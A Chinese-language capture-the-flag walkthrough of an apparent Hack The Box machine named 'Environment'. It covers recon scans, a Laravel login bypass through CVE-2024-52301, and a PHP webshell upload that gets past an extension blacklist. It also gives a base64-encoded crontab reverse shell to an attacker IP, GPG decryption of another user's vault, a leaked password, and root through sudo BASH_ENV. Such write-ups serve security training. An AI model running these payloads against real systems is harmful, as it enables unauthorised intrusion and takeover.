目标信息
IP地址:
10.129.90.106
(多个IP地址)
信息收集
ICMP检测
PING 10.129.108.226 (10.129.108.226) 56(84) bytes of data.
64 bytes from 10.129.108.226: icmp_seq=1 ttl=63 time=345 ms
64 bytes from 10.129.108.226: icmp_seq=2 ttl=63 time=328 ms
64 bytes from 10.129.108.226: icmp_seq=3 ttl=63 time=386 ms
64 bytes from 10.129.108.226: icmp_seq=4 ttl=63 time=286 ms
--- 10.129.108.226 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 286.055/336.175/386.168/35.878 ms
攻击机和靶机间网络连接良好。
防火墙检测
# Nmap 7.95 scan initiated Sun May 4 07:23:32 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.108.226
Nmap scan report for 10.129.108.226
Host is up (0.36s latency).
All 65535 scanned ports on 10.129.108.226 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Sun May 4 07:24:20 2025 -- 1 IP address (1 host up) scanned in 47.90 seconds
无法探测靶机防火墙状态。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.95 scan initiated Sun May 4 07:40:02 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.108.226
Nmap scan report for 10.129.108.226
Host is up (0.29s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
44755/tcp filtered unknown
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 316.22 ms 10.10.14.1
2 316.40 ms 10.129.108.226
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 4 07:40:51 2025 -- 1 IP address (1 host up) scanned in 49.07 seconds
UDP
端口开放列表扫描结果
# Nmap 7.95 scan initiated Sun May 4 07:43:16 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.108.226
Warning: 10.129.108.226 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.108.226
Host is up (0.38s latency).
All 65535 scanned ports on 10.129.108.226 are in ignored states.
Not shown: 65285 open|filtered udp ports (no-response), 250 closed udp ports (port-unreach)
# Nmap done at Sun May 4 07:47:24 2025 -- 1 IP address (1 host up) scanned in 248.05 seconds
UDP
端口详细信息扫描结果
(无)
同时发现靶机运行Debian Linux
操作系统,开放了SSH
和Web
服务,且Web
服务主域名为environment.htb
。
服务探测
SSH服务(22端口)
端口Banner
:
┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/environment]
└─# nc -nv 10.129.90.106 22
(UNKNOWN) [10.129.90.106] 22 (ssh) open
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u5
Web应用程序(80端口)
打开主页:http://environment.htb/
发现站点似乎为一个公益组织的宣传页面,最底部发现一个邮件登记框,随便填写一个邮件地址,点击发送,会显示Email added to the mailing list successfully!
字样:
使用Wappalyzer
插件判断网站技术栈,发现站点使用了PHP Laravel
开发框架:
使用BurpSuite
拦截邮箱登记请求包,发现前端向/mailing
端点发起了请求:
尝试以GET
方式访问/mailing
接口,发现站点Laravel
框架开启了调试模式:
同时发现Laravel
版本为11.30.0
,PHP
版本为8.2.28
,Laravel
框架报错时还泄露了部分源代码。
直接扫描目录:
# Dirsearch started Sun May 4 10:21:11 2025 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://environment.htb -x 400,403,404 -t 60 -e php,js,html,txt,zip,tar.gz,xml,json,pdf,pcap
301 169B http://environment.htb/build -> REDIRECTS TO: http://environment.htb/build/
200 0B http://environment.htb/favicon.ico
200 2KB http://environment.htb/index.php/login/
200 2KB http://environment.htb/login
200 2KB http://environment.htb/login/
302 358B http://environment.htb/logout -> REDIRECTS TO: http://environment.htb/login
302 358B http://environment.htb/logout/ -> REDIRECTS TO: http://environment.htb/login
200 24B http://environment.htb/robots.txt
301 169B http://environment.htb/storage -> REDIRECTS TO: http://environment.htb/storage/
405 245KB http://environment.htb/upload
405 245KB http://environment.htb/upload/
发现Web
服务存在/login
接口,尝试访问:
发现网站需要使用电子邮箱和密码登录。打开BurpSuite
,随便输入一个登录信息并拦截,查看登录流量:
未发现敏感信息。
尝试联网搜索该版本Laravel
框架漏洞,成功发现Laravel 11.x
版本存在环境变量覆盖漏洞,编号为CVE-2024-52301
:Nyamort/CVE-2024-52301
以及Laravel
框架处于调试模式时,登录接口的调试报错中可能存在大量敏感信息的问题:【漏洞预警】lavarel框架配置不当导致敏感数据泄露 - FreeBuf网络安全行业门户
渗透测试
Laravel框架综合漏洞利用
在服务探测阶段,我们已经发现站点使用Laravel 11.30.0
框架搭建,并开启了调试模式,以及该版本框架存在环境变量覆盖漏洞的事实。现在尝试进行利用。
首先尝试修改登录请求包,把用于记录是否保留登录信息的HTTP POST
参数remember
的值修改为一个非布尔值字符串test
,以此触发报错:
成功触发/login
接口报错!同时,我们发现报错页面泄露了部分route/web.php
的源代码:
if($keep_loggedin !== False) {
// TODO: Keep user logged in if he selects "Remember Me?"
}
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
$request->session()->regenerate();
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}
$user = User::where('email', $email)->first();
从代码中,我们可以发现,如果Laravel
的环境变量为preprod
,那么在使用/login
接口进行登录时,程序会不经过用户登录查询流程,直接将Session
中的用户ID
值赋值为1
,随后重定向客户端至管理后台页面/management/dashboard
。
因此,我们可以利用CVE-2024-52301
漏洞,在/login
登录接口处修改框架环境变量为preprod
,来触发登录绕过漏洞。根据漏洞描述,直接在要访问的URL
后加上GET
参数--env
,即可修改Laravel
框架的任意环境变量,例如:
http://127.0.0.1/index?--env=local
此时就将框架的APP_ENV
环境变量改为了local
。
直接再次访问/login
接口并打开BurpSuite
拦截,输入任意凭据点击登录按钮,随后修改登录流量包,在请求URL
后添加--env=preprod
参数,触发管理员免密登录机制:
成功登录后台!
头像上传接口漏洞利用
登录后台后,对后台进行信息收集。点击左侧Profile
按钮,跳转到了头像管理接口:
尝试点击Choose New Picture
按钮,随便挑选了一幅图像上传:
发现头像被上传到了/storage/files/
目录。
打开BurpSuite
拦截,再次点击Choose New Picture
按钮,挑选一份文本文件上传:
发现返回无效文件报错,推测需要上传图片文件,首先尝试在文件头部添加GIF
文件头GIF89a
:
成功上传!尝试将后缀名改为php
,发现上传再次失败:
推测网站使用了黑名单机制检测文件后缀名。尝试在文件名末尾加点号绕过(sparkle.php.
):
上传成功!
访问木马:http://environment.htb/storage/files/sparkle.php?cmd=id
:
木马成功运行!直接在攻击机上使用netcat
监听443
端口,随后使用如下命令添加反弹Shell
计划任务:
echo "Ki8xICogKiAqICogL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIvNDQzIDA%2bJjEnCg==" | base64 -d | crontab
成功反弹Shell!!
权限提升
解密GPG加密文件
进入系统后,执行目录信息收集,在hish
用户的家目录内发现了一份加密的GPG
文件:/home/hish/backup/keyvault.gpg
:
同时发现当前用户www-data
对/home/hish/.gnupg
目录具有读取权限。直接将该目录复制到/tmp/hish_gnupg
:
cp -rf /home/hish/.gnupg /tmp/hish_gnupg
随后尝试使用/tmp/hish_gnupg
的PGP
密钥数据库解密keyvault.gpg
文件:
gpg --homedir /tmp/hish_gnupg --decrypt /home/hish/backup/keyvault.gpg
成功解密文件并发现密码!
尝试使用如下凭据登录SSH
:
- 用户名:
hish
- 密码:
marineSPm@ster!!
成功!!
Sudo传递危险环境变量提权
登录hish
用户后,使用sudo -l
命令查看其sudo
权限:
发现当前用户hish
可以任意用户身份执行/usr/bin/systeminfo
命令,且最关键的是,hish
用户被启用了sudo
权限env_keep
,允许当前用户传递ENV
和BASH_ENV
两个环境变量到sudo
目标用户的Shell
环境中。
联网查询以上环境变量,发现这两个环境变量的作用为:启动一个非交互式Shell
时,执行环境变量中指定的脚本程序;ENV
变量被/bin/sh
使用,BASH_ENV
被/bin/bash
使用。(参考链接:shell - Treatment of ENV and BASH_ENV in bash running in bash and sh mode - Unix & Linux Stack Exchange)
直接创建脚本文件/tmp/changepw.sh
:
#!/bin/bash
echo "[+] Trying to modify the password of user root ......"
echo "root:Asd310056" | chpasswd
赋予执行权限后,执行如下命令,传递ENV
和BASH_ENV
两个变量到sudo
目标用户Shell
环境中:
sudo ENV=/tmp/changepw.sh BASH_ENV=/tmp/changepw.sh /usr/bin/systeminfo
随后使用su -
命令切换用户:
提权成功!!!!